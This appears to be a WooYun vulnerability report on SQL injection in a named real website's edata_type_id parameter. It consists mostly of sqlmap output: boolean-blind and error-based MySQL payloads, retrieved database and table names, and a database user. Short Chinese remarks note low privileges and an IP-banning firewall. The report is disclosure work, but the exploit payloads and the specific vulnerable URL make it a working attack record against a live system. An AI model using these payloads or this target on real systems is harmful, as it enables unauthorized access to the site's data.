WooYun.org

http://www.itceo.com/www/edata_article/edata_article_list.php?edata_type_id=2
sqlmap：
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: edata_type_id
Type: boolean-based blind
Title: MySQL boolean-based blind - Parameter replace (MAKE_SET - original va
lue)
Payload: edata_type_id=MAKE_SET(2816=2816,2)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: edata_type_id=2 AND (SELECT 3030 FROM(SELECT COUNT(*),CONCAT(0x716b
736871,(SELECT (CASE WHEN (3030=3030) THEN 1 ELSE 0 END)),0x71636f6471,FLOOR(RAN
D(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[22:31:54] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[22:31:54] [INFO] fetching database names
[22:31:55] [INFO] the SQL query used returns 2 entries
[22:31:55] [INFO] retrieved: information_schema
[22:31:55] [INFO] retrieved: hdm1070606_db
[22:31:55] [INFO] fetching tables for databases: 'hdm1070606_db, information_sch
ema'
[22:38:55] [INFO] the SQL query used returns 67 entries
[22:38:55] [INFO] retrieved: COLLATIONS
[22:38:55] [INFO] retrieved: information_schema
[22:38:56] [INFO] retrieved: COLLATION_CHARACTER_SET_APPLICABILITY
[22:38:56] [INFO] retrieved: information_schema
[22:38:56] [INFO] retrieved: COLUMNS
[22:38:56] [INFO] retrieved: information_schema
[22:38:56] [INFO] retrieved: COLUMN_PRIVILEGES
[22:38:57] [INFO] retrieved: information_schema
[22:38:57] [INFO] retrieved: ENGINES
[22:38:57] [INFO] retrieved: information_schema
[22:38:57] [INFO] retrieved: EVENTS
76个表....速度太慢了。不跑了，权限不是很高
current user is DBA: False
database management system users [1]:
[*] 'hdm1070606'@'%'
ps：应该有防火墙，访问次数太多，会禁IP